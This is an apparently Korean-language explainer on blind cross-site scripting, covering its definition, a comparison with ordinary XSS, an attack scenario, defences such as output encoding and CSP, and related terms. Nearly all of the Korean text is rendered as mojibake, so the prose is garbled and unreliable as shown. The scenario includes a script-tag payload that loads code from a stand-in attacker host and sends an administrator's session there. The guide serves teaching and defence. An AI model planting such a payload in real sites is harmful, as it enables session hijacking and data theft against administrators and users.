**๐ ๋ธ๋ผ์ธ๋ XSS (Blind Cross-Site Scripting)**๋ ์ผ๋ฐ์ ์ธ XSS(Cross-Site Scripting, ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ
)์ ์ผ์ข
์ผ๋ก, ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์
๋ ์ฆ์ ์คํ๋๋ ๊ฒ์ด ์๋๋ผ, ํผํด์๊ฐ ํด๋น ์คํฌ๋ฆฝํธ๊ฐ ์ ์ฅ๋ ์์น์ ์ ๊ทผํ ๋ ๋์ค์ ์คํ๋๋ XSS ๊ณต๊ฒฉ์
๋๋ค.
โ
1. ๊ฐ๋
์ ๋ฆฌ
| ํญ๋ชฉ | ์ค๋ช
|
|---|
| ์ ์ | ๊ณต๊ฒฉ์๊ฐ ์ฝ์
ํ ์คํฌ๋ฆฝํธ๊ฐ ์ฆ์ ์คํ๋์ง ์๊ณ , ๊ด๋ฆฌ์๋ ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ์ ๊ทผํ์ ๋ ์คํ๋๋ XSS |
| ํน์ง | ๊ณต๊ฒฉ์๊ฐ ํผํด์์ ์คํ ๊ฒฐ๊ณผ๋ฅผ ์ง์ ๋ณผ ์ ์์ โ ๋ณ๋ ์์ ์๋ฒ(log server)๋ก ๊ฒฐ๊ณผ ์ ์ก ํ์ |
| ์ด๋ฆ์ ์ ๋ | ๊ณต๊ฒฉ์๋ "๋์ ๋ณด์ด์ง ์๋(Blind)" ์ํ์์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด์ผ ํ๋ฏ๋ก "๋ธ๋ผ์ธ๋ XSS"๋ผ ๋ถ๋ฆ |
โ
2. ์ผ๋ฐ XSS vs ๋ธ๋ผ์ธ๋ XSS
| ๊ตฌ๋ถ | ์ผ๋ฐ XSS | ๋ธ๋ผ์ธ๋ XSS |
|---|
| ์คํ ์์ | ๊ณต๊ฒฉ ์ฝ๋ ์ฝ์
๊ณผ ๋์์ ์คํ | ๋์ค์ (์: ๊ด๋ฆฌ์๊ฐ ์ ๊ทผ ์) ์คํ |
| ๊ณต๊ฒฉ ํ์ธ | ์ฝ์
ํ ๋ฐ๋ก ํ์ธ ๊ฐ๋ฅ | ์ง์ ํ์ธ ๋ถ๊ฐ, ์ธ๋ถ ์๋ฒ ๋ก๊ทธ๋ก ํ์ธ |
| ์์ ๋์ | ๊ฒ์ํ ๋๊ธ, ๊ฒ์์ฐฝ | ๊ด๋ฆฌ์ ํ์ด์ง, ๋ก๊ทธ ๋ทฐ์ด, ์ด๋ฉ์ผ ๋ฆฌ๋ ๋ฑ |
| ๋์ ๋์ด๋ | ์๋์ ์ผ๋ก ๋ฎ์ | ํ์งยท๋ฐฉ์ด ์ด๋ ค์, ์ฌํ ๋์ ํ์ |
โ
3. ๊ณต๊ฒฉ ์๋๋ฆฌ์ค ์
- ์ฌ์ฉ์๊ฐ ํ์๊ฐ์
ํผ์ "์ด๋ฆ" ํ๋์ ๋ค์๊ณผ ๊ฐ์ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
:
<script src="https://attacker.com/log.js"></script>
- ์น์ฌ์ดํธ๋ ์ฌ์ฉ์ ์
๋ ฅ์ ๊ฒ์ฆ ์์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅํจ
- ์๊ฐ์ด ์ง๋ ํ, ๊ด๋ฆฌ์๊ฐ ๊ด๋ฆฌ์ ํ์ด์ง์์ ํด๋น ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ์กฐํ
- ๊ทธ ์์ ์ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๊ด๋ฆฌ์ ๋ธ๋ผ์ฐ์ ์์ ์คํ โ ์ธ์
ํ์ทจ, ํค๋ก๊น
, CSRF ๋ฑ ์ํ
- ๊ด๋ฆฌ์ ์ธ์
์ด๋ ์ ๋ณด๊ฐ ๊ณต๊ฒฉ์์ ์๋ฒ(
attacker.com)๋ก ์ ์ก๋จ
โ
4. ๋์ ๋ฐฉ๋ฒ
๐ ์
๋ ฅ๋จ/์ถ๋ ฅ๋จ ๋ณด์
- ์
๋ ฅ ๊ฒ์ฆ(Input Validation): HTML ํ๊ทธ, ์คํฌ๋ฆฝํธ ๋ฑ ์ํ ์์ ์ ๊ฑฐ
- ์ถ๋ ฅ ์ธ์ฝ๋ฉ(Output Encoding): HTML escape ์ฒ๋ฆฌ (
< โ < ๋ฑ)
- Content Security Policy(CSP): ์ธ๋ถ ์คํฌ๋ฆฝํธ ์คํ ์ ํ
๐งช ํ
์คํธ ๋ฐ ํ์ง
- ๋ณด์ ํ
์คํธ ๋๊ตฌ ์ฌ์ฉ: Burp Suite, XSS Hunter, XSStrike ๋ฑ
- ๋ธ๋ผ์ธ๋ XSS ํ
์คํธ ํ๋ซํผ ํ์ฉ:
xsshunter.com ๋ฑ
๐ ๋ก๊ทธ ๊ฐ์
- ๊ด๋ฆฌ ํ์ด์ง, ๋ฐฑ์คํผ์ค ๋ก๊ทธ ๋ทฐ์ด ๋ฑ์ ์ ์ฅ๋ ์ฌ์ฉ์ ์
๋ ฅ ํ๋์ ๋ํ ๋ ๋๋ง ์ ํํฐ๋ง ์ ์ฉ
โ
5. ๊ด๋ จ ์ฉ์ด
| ์ฉ์ด | ์ค๋ช
|
|---|
| Stored XSS | ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋์ด ๋ค์ ์ฌ์ฉ์์๊ฒ ๋
ธ์ถ |
| Reflected XSS | URL ๋๋ ์์ฒญ ํ๋ผ๋ฏธํฐ์ ํฌํจ๋์ด ์ฆ์ ์๋ต์ ๋ฐ์ |
| DOM-based XSS | ๋ธ๋ผ์ฐ์ ๋ด ์๋ฐ์คํฌ๋ฆฝํธ ๋์์ ์ํด XSS ๋ฐ์ |
| Blind XSS | ๊ณต๊ฒฉ ํ ํผํด์๊ฐ ํน์ ํ์ด์ง์ ์ ๊ทผํ์ ๋ ๋ฐ์ (๊ณต๊ฒฉ์๊ฐ ์ง์ ํ์ธ ๋ชปํจ) |
โ
์์ฝ ํ ์ค ์ ์
๋ธ๋ผ์ธ๋ XSS๋ ์คํฌ๋ฆฝํธ๊ฐ ์ฆ์ ์คํ๋์ง ์๊ณ , ํน์ ์ฌ์ฉ์๊ฐ ํ์ด์ง์ ์ ๊ทผํ ๋ ๋์ค์ ์คํ๋๋ ์๋ฐํ XSS ๊ณต๊ฒฉ ๋ฐฉ์์
๋๋ค.